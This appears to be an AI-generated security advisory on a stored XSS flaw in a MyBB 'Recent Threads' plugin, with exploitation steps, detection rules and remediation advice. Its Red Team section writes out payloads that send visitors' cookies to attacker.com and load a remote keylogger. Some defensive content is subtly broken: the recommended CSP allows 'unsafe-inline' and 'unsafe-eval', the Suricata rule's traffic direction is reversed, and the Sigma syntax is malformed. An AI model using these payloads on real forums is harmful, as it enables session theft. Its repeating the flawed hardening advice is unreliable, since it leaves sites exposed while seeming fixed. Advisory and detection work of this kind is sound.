CVE-2018-25309

Executive Summary

CVE-2018-25309 is a persistent (stored) Cross-Site Scripting (XSS) vulnerability in the MyBB Recent Threads plugin version 17.0. The flaw allows an authenticated attacker with thread-creation privileges to inject arbitrary JavaScript code via the thread subject line. When other users (including administrators) view the index page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the impact is significant for any MyBB forum using this plugin.

Supply Chain & Package Security

This vulnerability affects a third-party plugin (Recent Threads 17.0) for the MyBB forum software. The plugin is not distributed via official package managers (NPM, PyPI, Go, Ruby) but is typically downloaded from the MyBB community forums or third-party repositories. Users should verify the integrity of the plugin source and consider replacing it with an actively maintained alternative.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be able to create threads.
• User Interaction: Required (UI:R) – victim must view the index page.
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. Although exploitation requires user interaction and low privileges, the persistent nature of the XSS means every visitor to the index page is at risk. An attacker could chain this with other vulnerabilities to escalate privileges or steal session cookies.

Deep Dive & Mechanics

The vulnerability resides in the recentthreads plugin version 17.0 for MyBB. The plugin displays a list of recent threads on the forum index page. When a thread is created, the subject line is stored in the database without proper sanitization or output encoding. The plugin then retrieves and renders these subject lines directly into the HTML of the index page without escaping HTML entities.

Attack Flow:

1. Attacker logs into MyBB with thread-creation privileges.
2. Attacker creates a new thread with a subject line containing a malicious payload, e.g., <script>alert(document.cookie)</script>.
3. The subject is stored in the threads table.
4. When any user (including admins) visits the index page, the recentthreads plugin fetches the latest threads and outputs the subject line directly into the HTML.
5. The browser interprets the <script> tag and executes the attacker's JavaScript.

Root Cause: Lack of output encoding (e.g., htmlspecialchars() in PHP) when rendering thread subjects in the plugin's template or PHP code.

Vulnerable vs. Patched Code

Vulnerable Code (recentthreads.php, line ~45):

// Vulnerable: direct output without escaping
echo "<a href=\"showthread.php?tid={$thread['tid']}\">{$thread['subject']}</a>";

Patched Code (hypothetical fix):

// Patched: use htmlspecialchars to escape HTML entities
echo "<a href=\"showthread.php?tid={$thread['tid']}\">" . htmlspecialchars($thread['subject'], ENT_QUOTES, 'UTF-8') . "</a>";

The patched version ensures that any HTML tags in the subject are rendered as text, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• MyBB forum with Recent Threads 17.0 plugin installed.
• Attacker account with permission to create threads.

Exploitation Steps:

1. Log in to MyBB as an attacker.
2. Navigate to "New Thread" and craft a subject line with a JavaScript payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit the thread.
4. Any user visiting the index page will trigger the XSS, sending their cookies to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>
• Keylogging: <script src="https://attacker.com/keylogger.js"></script>

Blue Team (Detection & Hardening)

Detection:

• Monitor thread creation for suspicious subject lines containing <script>, <img onerror=, or other HTML event handlers.
• Use WAF rules to block requests with script tags in the subject parameter.
• Review server logs for unusual outbound connections from the MyBB server.

Hardening:

• Apply input validation on thread subjects: strip all HTML tags server-side.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Upgrade to a patched version of the plugin or replace it with an alternative.
• Implement output encoding in all plugin templates.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown domains containing cookie data in the URL.
• Unusual Referer headers pointing to the MyBB index page.

Host IOCs:

• Thread subjects containing <script>, <iframe>, or <img onerror= tags in the database.
• Modified plugin files (e.g., recentthreads.php) with backdoors.

File IOCs:

• Suspicious entries in inc/plugins/recentthreads.php or related template files.
• Presence of JavaScript files in the uploads/ directory not part of the original plugin.

Detection Engineering

YARA Rule

rule CVE_2018_25309_MyBB_XSS {
    meta:
        description = "Detects malicious thread subjects exploiting CVE-2018-25309"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2018-25309"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /<[^>]+on\w+\s*=/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: MyBB Recent Threads XSS Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects thread creation with XSS payloads in subject line
author: Valters IT
logsource:
    category: application
    product: mybb
detection:
    selection:
        EventID: 1  # Thread creation event
        Subject|contains|:
            - '<script>'
            - '<img '
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in thread titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2018-25309 MyBB Recent Threads XSS Payload in Subject"; flow:to_server,established; content:"POST"; http_method; content:"subject="; http_client_body; pcre:"/(<script|<img\s+onerror|<svg\s+onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Recent Threads 17.0 plugin until a patch is applied.
2. Manually sanitize thread subjects in the database using a script:

   UPDATE mybb_threads SET subject = REPLACE(REPLACE(subject, '<', '&lt;'), '>', '&gt;');
   

3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in thread subjects.

Long-term Fix:

• Replace the plugin with an actively maintained alternative (e.g., "Recent Threads 2.0" or a custom solution).
• Apply output encoding in all plugin templates using MyBB's built-in htmlspecialchars_uni() function.
• Enforce Content Security Policy (CSP) headers:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
  

• Regularly update MyBB core and all plugins.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only.

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